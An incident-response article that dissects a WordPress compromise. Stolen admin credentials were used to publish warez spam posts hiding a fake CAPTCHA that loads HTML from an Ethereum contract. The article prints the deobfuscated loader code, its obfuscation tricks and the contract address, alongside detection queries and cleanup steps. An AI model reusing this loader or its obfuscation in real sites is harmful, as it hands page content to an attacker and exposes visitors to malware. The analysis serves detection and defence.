Skip to content
Back to Articles

WordPress Spam Posts With a Fake CAPTCHA That Loads From Ethereum

Share:

A small business WordPress site turned out to have hundreds of posts that nobody on the team had written: software "cracks", patchers, keygens and casino bonus pages. All of them were published under one of the site's own administrator accounts, and every one looked like a normal warez download page.

Spam posts are common. What made this case worth a full write-up is what sat inside 147 of them: a fake download "CAPTCHA" that, once solved, pulled its next stage from the Ethereum blockchain. The site stored no payload, no URL and no domain of its own. It only stored the address of a smart contract. Whoever controls that contract can change what every visitor sees with one transaction, without touching the site again.

This article walks through the case step by step: how the attacker got in, how the posts were published, how the loader works line by line, where copies of the infected pages survived, and the read-only commands we used to find all of it. Everything is sanitized. No client names, domains or IPs.

🧩 The short version

  • Entry: valid administrator credentials. Every login in the logs is a single POST /wp-login.php that succeeded on the first try. No guessing, no brute force.
  • Volume: 263 spam posts (cracks, patchers, "bypass" tools, cheats, casino), 13 spam categories and tags, 345 pending spam comments. The posts went in through xmlrpc.php: almost 5,000 XML-RPC POSTs in a single month.
  • Loader: 147 posts carried a fake CAPTCHA widget. A correct answer triggers an eth_call to a smart contract through about 15 public Ethereum RPC endpoints, decodes the reply from hex and injects it into the page.
  • Polymorphic: each of the 147 loader blocks was different byte for byte, so the same hash never appeared twice.
  • Extra footholds: two fake plugins, a new administrator created through the REST API, and a theme editor change, each made within seconds of a login.
  • Where it hid after the posts: the page cache (118 cached spam pages), the page cache of a forgotten old copy of the site (175 more), and the hosting panel's trash folder.

🔑 How they got in: one login, one action

The access logs showed the same rhythm again and again: a successful login, then one administrative action a few seconds later. A 302 response to POST /wp-login.php means WordPress accepted the password and redirected to the dashboard. Here is the pattern, with times relative to the first login and addresses removed:

Day 0   +0s    POST /wp-login.php                                302   login accepted
Day 0   +7s    POST /wp-admin/update.php?action=upload-plugin    200   fake plugin #1 uploaded
Day 0   +14s   POST /wp-content/plugins/assets-sync77/lic.php    200   backdoor in the plugin used

Day 6   +0s    POST /wp-login.php                                302   login accepted
Day 6   +11s   POST /wp-json/wp/v2/users                         201   new administrator created
Day 6   +23s   POST /wp-admin/theme-editor.php                   302   theme functions.php edited

Day 12  +0s    POST /wp-login.php                                302   login as the NEW administrator
Day 12  +8s    POST /wp-admin/update.php?action=upload-plugin    200   fake plugin #2 uploaded

A few things in this timeline are worth learning to spot:

  • Seven seconds from login to plugin upload is not a human clicking through the dashboard. It is a script that already holds the password.
  • 201 on /wp-json/wp/v2/users means a user was created through the REST API. The new account's user_registered timestamp in the database was one second after that request, which ties the two together.
  • The attacker came back as the account they created. If you only change the original password, the second administrator keeps working.
  • On several other days the same pattern ended in 403 on the plugin upload: the request was refused by the server's protection. The logins themselves still succeeded each time, which means the password was still valid.

The fake plugins used names like assets-sync77 and assets-sync62, with a lic.php main file. One of them described itself as an "SMC" link injector and kept its state in hidden files such as .links.json. Neither had anything to do with a real plugin.

📰 263 posts through XML-RPC

The spam was not typed into the editor. The logs show thousands of POST /xmlrpc.php requests, the old remote-publishing API that WordPress still enables by default. With a valid administrator password, XML-RPC lets a script call wp.newPost in a loop and publish hundreds of posts without ever loading the dashboard.

The posts had a clear fingerprint once we looked at them as a group:

  • All under one author: the site owner's own administrator account, whose password the attacker held.
  • A contiguous block of post IDs, far above the site's real content.
  • New categories and tags nobody on the team created (13 in total), such as Cracks, Patchers, Breakers, Unpackers, Bypass and Cheats.
  • Long product descriptions stuffed with "crack", "keygen" and "free download" phrases: classic warez SEO.
  • The first spam post was about four weeks older than the oldest access log on the server. The logs had already rotated past the start of the campaign. That happens a lot, and it is why database timestamps matter as much as logs.

There is a WordPress detail here that makes the loader possible. Administrators have the unfiltered_html capability, so content they publish is not passed through the HTML filter that strips scripts and event handlers. A post published with a stolen administrator password can carry live JavaScript. The same post submitted by an author or contributor would have been cleaned.

🎭 The fake download CAPTCHA

Each loader post showed a download box in the middle of the page: a small canvas with distorted characters, a text field and a Verify button. To a visitor who came looking for a cracked program, it looks exactly like the "prove you're human" step that real download sites use.

The structure, simplified:

<!-- inside the page area whose content gets replaced later -->
  <div id="captcha-ui" style="text-align:center;">
    <canvas id="captchaCanvas" width="140" height="40"></canvas>
    <input type="text" id="captchaInput" placeholder="Enter CAPTCHA">
    <button onclick="window.doV()">Verify</button>
  </div>
  <div id="captcha-msg"></div>

There is no <script> tag anywhere in the post. The whole loader lives inside an HTML attribute of an element placed just above the widget. That one detail matters for detection: a search for <script in wp_posts finds nothing.

The CAPTCHA itself is real. window.genC() draws random characters on the canvas, and window.doV() compares the input. A wrong answer shows "❌ Incorrect!" and draws a new one. The check is there to make the page feel legitimate, and it also means automated crawlers that never type anything never reach the next stage.

⛓️ Dissection: the blockchain loader

Here is what happens after a correct answer, deobfuscated (the next section shows how) and reformatted for reading. The logic and values are as found in the posts; only the line breaks and comments are ours.

// 1) A list of ~15 Ethereum JSON-RPC endpoints, shuffled on every visit
let u = ['https://rpc.mevblocker.io',
         'https://eth.api.pocket.network/',
         'https://ethereum-json-rpc.stakely.io/',
         /* ... about ten more public endpoints ... */
         'https://mainnet.rpc.sentio.xyz',
         'https://rpc-eth.blockmachine.io',
         'https://one.valve.city/rpc/vk_demo/evm/1'
        ].sort(() => Math.random() - 0.5);

// 2) Try them one by one until one answers
for (let r of u) {
  try {
    const re = await fetch(r, {
      method: "POST",
      signal: AbortSignal.timeout(2000),            // give up on slow nodes after 2 s
      body: JSON.stringify({
        jsonrpc: "2.0", method: "eth_call", id: 1,
        params: [{ to:   "0xba0cb6efbb037210096f009167ae86e2c26442e7",   // the contract
                   data: "0xea879634" },                                // the function to call
                 "latest"]
      })
    });
    const j = await re.json();

    // 3) Decode the ABI-encoded string the contract returns
    if (j.result) {
      let h = j.result.substring(130), s = "";
      for (let i = 0; i < h.length; i += 2) {
        let c = parseInt(h.substr(i, 2), 16);
        if (c) s += String.fromCharCode(c);
      }
      if (s) { remoteHTML = s.trim(); break; }
    }
  } catch (e) {}                                       // silent: try the next endpoint
}

// 4) Inject whatever came back into the page
if (remoteHTML) {
  cell.innerHTML = remoteHTML.replace(/%name%/g, '98e57500_<software>');
} else {
  /* show a fake "connection failed" error */
}

Step by step:

  1. Many doors, random order. The endpoint list mixes well-known public Ethereum RPC providers with a few smaller ones, and .sort(() => Math.random() - 0.5) shuffles it on every page view. Blocking one provider does nothing. Most of these are legitimate public services that answer anyone. The attacker does not need to own them.
  2. eth_call is a read. It asks a node to run a contract function locally and return the result. No transaction, no fee, no wallet, and nothing that looks like a download.
  3. 0xea879634 is the 4-byte function selector: the first four bytes of the Keccak-256 hash of the function's name and signature. It identifies one specific getter on that contract.
  4. substring(130) skips the ABI header of a returned string: 2 characters for 0x, 64 hex characters for the data offset, and 64 for the string length. What remains is the text itself, hex-encoded. The loop turns each pair of hex digits back into a character and drops the zero padding.
  5. innerHTML replaces the download cell with the decoded HTML, after putting a per-post token (%name%) in it. The token pairs a random hex value with the name of the "cracked" program, so the attacker's next page knows which lure the visitor clicked.

The important consequence is in step 4. The site never contained the final payload. It lived in contract storage, and it can be replaced at any time. On a given day it could be a link to a password-protected archive, a fake "update your browser" page, or a copy-paste command in the ClickFix style. We did not query the contract during the cleanup, so we make no claim about what it returned on any particular date. The only thing we can say for sure is that the site handed control of that page area to whoever controls the contract.

This technique is often called EtherHiding: the blockchain works as a takedown-resistant configuration server. You can't ask a hosting company to remove a smart contract, and the public RPC endpoints are infrastructure many legitimate apps depend on.

🔓 Decoding the obfuscation

The code above is not what sits in the database. Three cheap tricks make it hard to grep:

  • Split strings with hex escapes: 'ht'+'tps\x3A\x2F'+'\x2Fmain'+'ne'+'t.'+... instead of https://mainnet.... A search for the full URL never matches.
  • String.fromCharCode with arithmetic: the contract address is written as String.fromCharCode((1+47),(96+15+9),(70+22+6),...). Each pair of brackets is one character: 1+47 = 48 is "0", 96+15+9 = 120 is "x", and so on.
  • Padded numbers: even the timeout is written as (206+1794) instead of 2000.

The sums are different in every post, which is why each of the 147 blocks had its own hash. The logic is identical. A short Python script undoes all three tricks. It only reads the file you give it and prints the result:

#!/usr/bin/env python3
# deob.py - read-only: prints a readable copy of the loader, changes nothing
import re, sys
s = open(sys.argv[1], encoding='utf-8', errors='replace').read()
# 1) arithmetic padding: (19+15) -> 34, (206+1794) -> 2000
s = re.sub(r'\((\d+(?:\s*\+\s*\d+)+)\)',
           lambda m: str(sum(int(x) for x in m.group(1).split('+'))), s)
# 2) String.fromCharCode(48,120,98,...) -> "0xb..."
s = re.sub(r'String\.fromCharCode\(([\d,\s]+)\)',
           lambda m: '"' + ''.join(chr(int(x)) for x in m.group(1).split(',') if x.strip()) + '"', s)
# 3) split strings and hex escapes: 'ht'+'tps\x3A\x2F' -> 'https:/'
s = re.sub(r"'\s*\+\s*'", '', s)
s = re.sub(r'\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1), 16)), s)
print(s)

Run it on an exported copy of a post, never on the live site:

python3 deob.py post-2034.txt | grep -oE 'eth_call|0x[0-9a-f]{40}|https://[^'"'"']+' | sort -u

The decoded blocks we examined all pointed to the same contract and the same function selector. Only the arithmetic padding changed from post to post.

🗄️ Where the infected pages survived

Deleting the posts is not the end of it. Three other places still held the loader or the attacker's files:

  • The live page cache. The caching plugin had stored 118 spam pages as static HTML under wp-content/cache/. Those files are served before WordPress even loads, so a deleted post can keep showing its loader until the cache is purged.
  • A forgotten old copy of the site. An older copy of the site sat next to the live one in the same account, with its cache folder renamed (cache_). It still held 175 cached spam pages with the loader. Nobody looks there, and a later restore or a misconfigured vhost can make it public again.
  • The hosting panel's trash. Copies of both fake plugins had been "deleted" through the panel's file manager, which only moved them to a .trash folder in the home directory. Moved, not removed.

Two other footholds had already been removed by the time we started: the theme editor change in functions.php and a PHP file dropped into the cache folder. We confirmed both were gone and checked the rest of the site for anything similar.

🔍 Read-only detection commands

These are the checks that found everything above, generalized. None of them change anything. Replace wp_ with your table prefix, and run SQL as the site's own database user, the one in wp-config.php.

Database: who published what, and when

-- 1) Posts per author, with first and last date. One author with a sudden pile = look closer.
SELECT post_author, COUNT(*) AS posts, MIN(post_date) AS first, MAX(post_date) AS last
FROM wp_posts WHERE post_type = 'post' AND post_status = 'publish'
GROUP BY post_author;

-- 2) Posts per day. Spam campaigns show up as bursts.
SELECT DATE(post_date) AS day, COUNT(*) AS posts
FROM wp_posts WHERE post_type = 'post'
GROUP BY day ORDER BY day DESC LIMIT 90;

-- 3) Loader fingerprints. No <script> tag needed for a match.
SELECT ID, post_date, LEFT(post_title, 80) AS title
FROM wp_posts
WHERE post_content REGEXP 'eth_call|captchaCanvas|fromCharCode|0xea879634';

-- 4) Warez-style categories and tags nobody on the team created
SELECT t.term_id, t.name, tt.taxonomy, tt.count
FROM wp_terms t JOIN wp_term_taxonomy tt ON tt.term_id = t.term_id
WHERE t.name REGEXP 'crack|patch|keygen|bypass|cheat|unpack|serial|casino';

-- 5) Administrators, newest first
SELECT u.ID, u.user_login, u.user_registered
FROM wp_users u JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;

-- 6) Pending comments carrying links
SELECT COUNT(*) FROM wp_comments
WHERE comment_approved = '0' AND comment_content LIKE '%http%';

Files: caches, old copies, fake plugins, trash

# 7) Every page cache folder in the account, including renamed ones and old copies
find /home/USER -maxdepth 5 -type d \( -name 'wp-rocket' -o -name 'cache_' -o -name 'page_cache' \) -print

# 8) Cached pages that still carry the loader
grep -rlE 'eth_call|captchaCanvas|0xea879634' /home/USER/ --include='*.html' --include='*.html_gzip' | wc -l

# 9) Plugins whose main file is not named after the folder, and the fake family seen here
find /path/to/site/wp-content/plugins -maxdepth 2 -name 'lic.php'
ls -la /path/to/site/wp-content/plugins/ | grep -iE 'assets-sync'

# 10) "Deleted" files that only moved to the panel trash
ls -la /home/USER/.trash/ | head -50

Logs: logins followed by admin actions

# 11) Successful logins (302) with time and source
zgrep -h 'POST /wp-login.php' /path/to/access.log* | awk '$9 == 302 {print $4, $1}' | sort

# 12) Admin actions that matter: plugin upload, user creation, file editors
zgrep -hE 'action=upload-plugin|/wp-json/wp/v2/users|theme-editor\.php|plugin-editor\.php' /path/to/access.log* \
  | awk '$6 == "\"POST" {print $4, $1, $7, $9}' | sort

# 13) XML-RPC volume per log file. Thousands of POSTs on a site that never uses it = publishing bot.
zgrep -c 'POST /xmlrpc.php' /path/to/access.log*

Line up the times from 11 and 12. A login followed by an upload or a user creation a few seconds later, from the same address, is the signature of a script holding a valid password.

🧹 Cleanup checklist

The order matters. Evidence first, then removal, then checking from the outside.

  1. Full database backup, plus separate exports of every row you are about to delete: the spam posts, their revisions and meta, term relationships, the spam terms and the spam comments. Check the files are not empty.
  2. Copy the fake plugin folders somewhere outside the web root before removing them.
  3. Delete the spam posts together with their revisions, wp_postmeta rows and wp_term_relationships rows. Deleting from wp_posts alone leaves orphans behind.
  4. Delete the spam categories and tags, then recount the remaining terms so category counts are right.
  5. Delete the pending spam comments.
  6. Remove the fake plugins, both the live folders and the copies in the panel trash.
  7. Purge every page cache: the live one, and the cache in any old copy of the site in the same account.
  8. Verify from the outside: the home page loads normally, former spam URLs return 404, and queries 3 and 8 above return nothing.
  9. Accounts: review every administrator, especially recent ones, and change the passwords of the accounts that were used. In our case that decision belonged to the site owner, and we left user accounts to them.

🚩 Indicators of compromise

  • Ethereum contract: 0xba0cb6efbb037210096f009167ae86e2c26442e7
  • Function selector: 0xea879634 (called with eth_call, result decoded from offset 130)
  • Smaller RPC endpoints in the loader list: mainnet.rpc.sentio.xyz, rpc-eth.blockmachine.io, one.valve.city/rpc/vk_demo/evm/1. The other entries are large public providers and are not indicators on their own.
  • DOM markers in post content: captcha-ui, captchaCanvas, captchaInput, window.genC, window.doV
  • Fake plugin folders: assets-sync<NN>/ with lic.php, hidden state files .links.json and .smc_*
  • Spam taxonomy: categories Cracks, Patchers, Breakers, Unpackers, Bypass, Cheats

💡 Takeaways

  • A stolen administrator password is enough to publish live JavaScript in posts, because administrators bypass WordPress's HTML filter.
  • The loader had no <script> tag, no readable URL and a different hash in every post. Search for behaviour (eth_call, fromCharCode, the DOM markers), not for strings.
  • When the payload lives on a blockchain, there is nothing on the site to "clean" except the pointer to it. Removing the pointer is the whole fix.
  • Deleted posts survive in page caches, in old copies of the site and in the panel trash. Check all three.
  • A login followed seven seconds later by a plugin upload is a script, not a person. Line up login times with admin actions in the logs.

❓ FAQ

Does the visitor need a crypto wallet for this to work?

No. eth_call is a free, read-only request that any browser can send to a public RPC endpoint with a normal fetch(). No wallet, extension or transaction is involved.

Can the smart contract be taken down?

Not in the way a domain or a hosting account can. The contract stays on the chain. That is why the fix is on the site: remove every post, cache file and copy that points to it.

Why did searching for <script> find nothing?

The loader sits inside an HTML attribute, and its strings are split and encoded. Search for eth_call, fromCharCode or the widget IDs (captchaCanvas) instead.

Should I disable XML-RPC?

If nothing on the site uses it (for example the mobile app or an old publishing tool), blocking xmlrpc.php removes an easy bulk-publishing path. This is our own general practice. It does not replace changing a stolen password, because the same password also works in the dashboard and the REST API.